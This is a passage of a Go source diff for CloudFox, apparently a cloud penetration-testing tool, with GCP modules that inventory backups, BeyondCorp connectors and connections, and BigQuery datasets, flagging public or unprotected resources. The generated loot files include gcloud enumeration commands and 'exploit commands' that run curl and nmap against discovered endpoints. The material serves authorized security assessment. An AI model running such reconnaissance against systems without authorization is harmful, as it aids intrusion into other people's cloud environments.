for instanceName, info := range m.allSQLInstances {
|
||||
if !m.sqlWithBackups[instanceName] {
|
||||
resource := BackupResource{
|
||||
ProjectID: info.ProjectID,
|
||||
Name: instanceName,
|
||||
ResourceType: "cloudsql-instance",
|
||||
Location: info.Region,
|
||||
Protected: false,
|
||||
BackupType: "none",
|
||||
}
|
||||
|
||||
m.ProjectResources[info.ProjectID] = append(m.ProjectResources[info.ProjectID], resource)
|
||||
|
||||
// Add to loot (ensure project loot is initialized)
|
||||
if m.LootMap[info.ProjectID] == nil {
|
||||
m.LootMap[info.ProjectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[info.ProjectID]["backup-inventory-commands"] = &internal.LootFile{
|
||||
Name: "backup-inventory-commands",
|
||||
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
// No loot commands for unprotected SQL instances - these are informational only
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Helper Functions
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) extractDiskName(url string) string {
|
||||
parts := strings.Split(url, "/")
|
||||
if len(parts) > 0 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return url
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) extractZoneFromURL(url string) string {
|
||||
if strings.Contains(url, "zones/") {
|
||||
parts := strings.Split(url, "/")
|
||||
for i, part := range parts {
|
||||
if part == "zones" && i+1 < len(parts) {
|
||||
return parts[i+1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) extractRegionFromZone(zone string) string {
|
||||
if zone == "" {
|
||||
return ""
|
||||
}
|
||||
// Zone format: us-central1-a -> Region: us-central1
|
||||
parts := strings.Split(zone, "-")
|
||||
if len(parts) >= 2 {
|
||||
return strings.Join(parts[:len(parts)-1], "-")
|
||||
}
|
||||
return zone
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) getResourcesHeader() []string {
|
||||
return []string{
|
||||
"Project ID",
|
||||
"Project Name",
|
||||
"Resource",
|
||||
"Type",
|
||||
"Location",
|
||||
"Size (GB)",
|
||||
"Protected",
|
||||
"Backup Type",
|
||||
"Schedule",
|
||||
"Retention",
|
||||
"Last Backup",
|
||||
"Count",
|
||||
"Status",
|
||||
"PITR",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) getSnapshotsHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Snapshot",
|
||||
"Source Disk",
|
||||
"Size (GB)",
|
||||
"Created",
|
||||
"Status",
|
||||
"Type",
|
||||
"Auto Created",
|
||||
"Locations",
|
||||
"Encryption",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
"Public",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) resourcesToTableBody(resources []BackupResource) [][]string {
|
||||
var body [][]string
|
||||
for _, r := range resources {
|
||||
protectedStr := "No"
|
||||
if r.Protected {
|
||||
protectedStr = "Yes"
|
||||
}
|
||||
|
||||
pitrStr := "No"
|
||||
if r.PITREnabled {
|
||||
pitrStr = "Yes"
|
||||
}
|
||||
|
||||
retentionStr := ""
|
||||
if r.RetentionDays > 0 {
|
||||
retentionStr = fmt.Sprintf("%d days", r.RetentionDays)
|
||||
}
|
||||
|
||||
sizeStr := ""
|
||||
if r.SizeGB > 0 {
|
||||
sizeStr = fmt.Sprintf("%d", r.SizeGB)
|
||||
}
|
||||
|
||||
countStr := ""
|
||||
if r.BackupCount > 0 {
|
||||
countStr = fmt.Sprintf("%d", r.BackupCount)
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
r.ProjectID,
|
||||
m.GetProjectName(r.ProjectID),
|
||||
r.Name,
|
||||
r.ResourceType,
|
||||
r.Location,
|
||||
sizeStr,
|
||||
protectedStr,
|
||||
r.BackupType,
|
||||
r.Schedule,
|
||||
retentionStr,
|
||||
r.LastBackup,
|
||||
countStr,
|
||||
r.BackupStatus,
|
||||
pitrStr,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) snapshotsToTableBody(snapshots []ComputeSnapshot) [][]string {
|
||||
var body [][]string
|
||||
for _, s := range snapshots {
|
||||
autoCreatedStr := "No"
|
||||
if s.AutoCreated {
|
||||
autoCreatedStr = "Yes"
|
||||
}
|
||||
|
||||
publicAccess := "No"
|
||||
if s.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
// Format encryption - show KMS key name if CMEK
|
||||
encryptionDisplay := s.EncryptionType
|
||||
if s.EncryptionType == "CMEK" && s.KMSKeyName != "" {
|
||||
// Extract just the key name from the full path for display
|
||||
// Format: projects/PROJECT/locations/LOCATION/keyRings/RING/cryptoKeys/KEY
|
||||
keyParts := strings.Split(s.KMSKeyName, "/")
|
||||
if len(keyParts) >= 2 {
|
||||
encryptionDisplay = fmt.Sprintf("CMEK (%s)", keyParts[len(keyParts)-1])
|
||||
}
|
||||
}
|
||||
|
||||
// If no IAM bindings, still show the snapshot
|
||||
if len(s.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(s.ProjectID),
|
||||
s.Name,
|
||||
m.extractDiskName(s.SourceDisk),
|
||||
fmt.Sprintf("%d", s.DiskSizeGB),
|
||||
s.CreationTime,
|
||||
s.Status,
|
||||
s.SnapshotType,
|
||||
autoCreatedStr,
|
||||
strings.Join(s.StorageLocats, ","),
|
||||
encryptionDisplay,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
// One row per member per role
|
||||
for _, binding := range s.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(s.ProjectID),
|
||||
s.Name,
|
||||
m.extractDiskName(s.SourceDisk),
|
||||
fmt.Sprintf("%d", s.DiskSizeGB),
|
||||
s.CreationTime,
|
||||
s.Status,
|
||||
s.SnapshotType,
|
||||
autoCreatedStr,
|
||||
strings.Join(s.StorageLocats, ","),
|
||||
encryptionDisplay,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if resources, ok := m.ProjectResources[projectID]; ok && len(resources) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "backup-inventory",
|
||||
Header: m.getResourcesHeader(),
|
||||
Body: m.resourcesToTableBody(resources),
|
||||
})
|
||||
}
|
||||
|
||||
if snapshots, ok := m.ProjectSnapshots[projectID]; ok && len(snapshots) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "backup-snapshots",
|
||||
Header: m.getSnapshotsHeader(),
|
||||
Body: m.snapshotsToTableBody(snapshots),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectResources {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectSnapshots {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BackupInventoryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allResources := m.getAllResources()
|
||||
allSnapshots := m.getAllSnapshots()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allResources) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "backup-inventory",
|
||||
Header: m.getResourcesHeader(),
|
||||
Body: m.resourcesToTableBody(allResources),
|
||||
})
|
||||
}
|
||||
|
||||
if len(allSnapshots) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "backup-snapshots",
|
||||
Header: m.getSnapshotsHeader(),
|
||||
Body: m.snapshotsToTableBody(allSnapshots),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := BackupInventoryOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,446 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
beyondcorpservice "github.com/BishopFox/cloudfox/gcp/services/beyondcorpService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPBeyondCorpCommand = &cobra.Command{
|
||||
Use: globals.GCP_BEYONDCORP_MODULE_NAME,
|
||||
Aliases: []string{"bc", "zero-trust"},
|
||||
Short: "Enumerate BeyondCorp Enterprise configurations",
|
||||
Long: `Enumerate BeyondCorp Enterprise configurations.
|
||||
|
||||
Features:
|
||||
- Lists app connectors and connections
|
||||
- Analyzes connection endpoints
|
||||
- Identifies configuration issues`,
|
||||
Run: runGCPBeyondCorpCommand,
|
||||
}
|
||||
|
||||
type BeyondCorpModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectAppConnectors map[string][]beyondcorpservice.AppConnectorInfo // projectID -> connectors
|
||||
ProjectAppConnections map[string][]beyondcorpservice.AppConnectionInfo // projectID -> connections
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type BeyondCorpOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o BeyondCorpOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BeyondCorpOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPBeyondCorpCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &BeyondCorpModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectAppConnectors: make(map[string][]beyondcorpservice.AppConnectorInfo),
|
||||
ProjectAppConnections: make(map[string][]beyondcorpservice.AppConnectionInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BEYONDCORP_MODULE_NAME, m.processProject)
|
||||
|
||||
allConnectors := m.getAllConnectors()
|
||||
allConnections := m.getAllConnections()
|
||||
|
||||
totalCount := len(allConnectors) + len(allConnections)
|
||||
if totalCount == 0 {
|
||||
logger.InfoM("No BeyondCorp resources found", globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public resources
|
||||
publicConnectorCount := 0
|
||||
publicConnectionCount := 0
|
||||
for _, connector := range allConnectors {
|
||||
if connector.PublicAccess {
|
||||
publicConnectorCount++
|
||||
}
|
||||
}
|
||||
for _, conn := range allConnections {
|
||||
if conn.PublicAccess {
|
||||
publicConnectionCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d connector(s), %d connection(s)",
|
||||
len(allConnectors), len(allConnections)),
|
||||
globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
|
||||
if publicConnectorCount > 0 || publicConnectionCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d public connector(s), %d public connection(s)!",
|
||||
publicConnectorCount, publicConnectionCount), globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) getAllConnectors() []beyondcorpservice.AppConnectorInfo {
|
||||
var all []beyondcorpservice.AppConnectorInfo
|
||||
for _, connectors := range m.ProjectAppConnectors {
|
||||
all = append(all, connectors...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) getAllConnections() []beyondcorpservice.AppConnectionInfo {
|
||||
var all []beyondcorpservice.AppConnectionInfo
|
||||
for _, connections := range m.ProjectAppConnections {
|
||||
all = append(all, connections...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating BeyondCorp in project: %s", projectID), globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := beyondcorpservice.New()
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["beyondcorp-details"] = &internal.LootFile{
|
||||
Name: "beyondcorp-details",
|
||||
Contents: "# BeyondCorp Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Get app connectors
|
||||
connectors, err := svc.ListAppConnectors(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_BEYONDCORP_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list app connectors in project %s", projectID))
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.ProjectAppConnectors[projectID] = connectors
|
||||
for _, connector := range connectors {
|
||||
m.addConnectorToLoot(projectID, connector)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Get app connections
|
||||
connections, err := svc.ListAppConnections(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_BEYONDCORP_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list app connections in project %s", projectID))
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.ProjectAppConnections[projectID] = connections
|
||||
for _, conn := range connections {
|
||||
m.addConnectionToLoot(projectID, conn)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) addConnectionToLoot(projectID string, conn beyondcorpservice.AppConnectionInfo) {
|
||||
lootFile := m.LootMap[projectID]["beyondcorp-details"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# CONNECTION: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Location: %s\n"+
|
||||
"# State: %s\n"+
|
||||
"# Endpoint: %s\n"+
|
||||
"# Gateway: %s\n"+
|
||||
"# Connectors: %s\n",
|
||||
conn.Name, conn.ProjectID, conn.Location, conn.State,
|
||||
conn.ApplicationEndpoint, conn.Gateway, strings.Join(conn.Connectors, ", "))
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe this app connection:
|
||||
gcloud beta beyondcorp app connections describe %s --location=%s --project=%s
|
||||
|
||||
# List IAM policy for this connection:
|
||||
gcloud beta beyondcorp app connections get-iam-policy %s --location=%s --project=%s
|
||||
|
||||
# List all app connectors in the project:
|
||||
gcloud beta beyondcorp app connectors list --location=%s --project=%s
|
||||
|
||||
# List all app connections in the project:
|
||||
gcloud beta beyondcorp app connections list --location=%s --project=%s
|
||||
|
||||
`, conn.Name, conn.Location, conn.ProjectID,
|
||||
conn.Name, conn.Location, conn.ProjectID,
|
||||
conn.Location, conn.ProjectID,
|
||||
conn.Location, conn.ProjectID)
|
||||
|
||||
// Exploitation commands
|
||||
if conn.ApplicationEndpoint != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# === EXPLOIT COMMANDS ===\n\n"+
|
||||
"# Test connectivity to application endpoint:\n"+
|
||||
"curl -v %s\n\n"+
|
||||
"# Scan endpoint for open ports (if IP-based):\n"+
|
||||
"nmap -sV %s\n\n",
|
||||
conn.ApplicationEndpoint, conn.ApplicationEndpoint)
|
||||
}
|
||||
|
||||
if conn.PublicAccess {
|
||||
lootFile.Contents += "# [FINDING] This connection has PUBLIC access!\n" +
|
||||
"# Check IAM bindings for allUsers/allAuthenticatedUsers\n\n"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) addConnectorToLoot(projectID string, connector beyondcorpservice.AppConnectorInfo) {
|
||||
lootFile := m.LootMap[projectID]["beyondcorp-details"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# CONNECTOR: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Location: %s\n"+
|
||||
"# State: %s\n"+
|
||||
"# Service Account: %s\n",
|
||||
connector.Name, connector.ProjectID, connector.Location,
|
||||
connector.State, connector.PrincipalInfo)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# Describe this connector:
|
||||
gcloud beta beyondcorp app connectors describe %s --location=%s --project=%s
|
||||
|
||||
# Get IAM policy for this connector:
|
||||
gcloud beta beyondcorp app connectors get-iam-policy %s --location=%s --project=%s
|
||||
|
||||
`, connector.Name, connector.Location, connector.ProjectID,
|
||||
connector.Name, connector.Location, connector.ProjectID)
|
||||
|
||||
if connector.PublicAccess {
|
||||
lootFile.Contents += "# [FINDING] This connector has PUBLIC access!\n\n"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) getConnectorsHeader() []string {
|
||||
return []string{"Project", "Name", "Location", "State", "Service Account", "IAM Binding Role", "IAM Binding Principal", "Public"}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) getConnectionsHeader() []string {
|
||||
return []string{"Project", "Name", "Location", "State", "Endpoint", "Gateway", "IAM Binding Role", "IAM Binding Principal", "Public"}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) connectorsToTableBody(connectors []beyondcorpservice.AppConnectorInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, connector := range connectors {
|
||||
publicAccess := "No"
|
||||
if connector.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
if len(connector.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(connector.ProjectID),
|
||||
connector.Name,
|
||||
connector.Location,
|
||||
connector.State,
|
||||
connector.PrincipalInfo,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
for _, binding := range connector.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(connector.ProjectID),
|
||||
connector.Name,
|
||||
connector.Location,
|
||||
connector.State,
|
||||
connector.PrincipalInfo,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) connectionsToTableBody(connections []beyondcorpservice.AppConnectionInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, conn := range connections {
|
||||
publicAccess := "No"
|
||||
if conn.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
if len(conn.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(conn.ProjectID),
|
||||
conn.Name,
|
||||
conn.Location,
|
||||
conn.State,
|
||||
conn.ApplicationEndpoint,
|
||||
conn.Gateway,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
for _, binding := range conn.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(conn.ProjectID),
|
||||
conn.Name,
|
||||
conn.Location,
|
||||
conn.State,
|
||||
conn.ApplicationEndpoint,
|
||||
conn.Gateway,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if connectors, ok := m.ProjectAppConnectors[projectID]; ok && len(connectors) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "beyondcorp-connectors",
|
||||
Header: m.getConnectorsHeader(),
|
||||
Body: m.connectorsToTableBody(connectors),
|
||||
})
|
||||
}
|
||||
|
||||
if connections, ok := m.ProjectAppConnections[projectID]; ok && len(connections) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "beyondcorp-connections",
|
||||
Header: m.getConnectionsHeader(),
|
||||
Body: m.connectionsToTableBody(connections),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectAppConnectors {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectAppConnections {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BeyondCorpOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BeyondCorpModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allConnectors := m.getAllConnectors()
|
||||
allConnections := m.getAllConnections()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allConnectors) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "beyondcorp-connectors",
|
||||
Header: m.getConnectorsHeader(),
|
||||
Body: m.connectorsToTableBody(allConnectors),
|
||||
})
|
||||
}
|
||||
|
||||
if len(allConnections) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "beyondcorp-connections",
|
||||
Header: m.getConnectionsHeader(),
|
||||
Body: m.connectionsToTableBody(allConnections),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := BeyondCorpOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BEYONDCORP_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
+449
-99
@@ -1,134 +1,484 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
BigQueryService "github.com/BishopFox/cloudfox/gcp/services/bigqueryService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPBigQueryCommand = &cobra.Command{
|
||||
Use: "bigquery",
|
||||
Aliases: []string{},
|
||||
Short: "Display Bigquery datasets and tables information",
|
||||
Args: cobra.MinimumNArgs(0),
|
||||
Long: `
|
||||
Display available Bigquery datasets and tables resource information:
|
||||
cloudfox gcp bigquery`,
|
||||
Use: globals.GCP_BIGQUERY_MODULE_NAME,
|
||||
Aliases: []string{"bq"},
|
||||
Short: "Enumerate GCP BigQuery datasets and tables with security analysis",
|
||||
Long: `Enumerate GCP BigQuery datasets and tables across projects with security-focused analysis.
|
||||
|
||||
Features:
|
||||
- Lists all BigQuery datasets with security-relevant columns
|
||||
- Shows tables within each dataset with encryption and type info
|
||||
- Enumerates dataset access control entries (IAM-like)
|
||||
- Identifies publicly accessible datasets (allUsers/allAuthenticatedUsers)
|
||||
- Shows encryption status (Google-managed vs CMEK)
|
||||
- Generates bq commands for data enumeration
|
||||
- Generates exploitation commands for data access`,
|
||||
Run: runGCPBigQueryCommand,
|
||||
}
|
||||
|
||||
// GCPBigQueryResults struct that implements the internal.OutputInterface
|
||||
type GCPBigQueryResults struct {
|
||||
DatasetsData []BigQueryService.BigqueryDataset
|
||||
TablesData []BigQueryService.BigqueryTable
|
||||
// ------------------------------
|
||||
// Module Struct with embedded BaseGCPModule
|
||||
// ------------------------------
|
||||
type BigQueryModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Per-project data for hierarchical output
|
||||
ProjectDatasets map[string][]BigQueryService.BigqueryDataset
|
||||
ProjectTables map[string][]BigQueryService.BigqueryTable
|
||||
LootMap map[string]map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
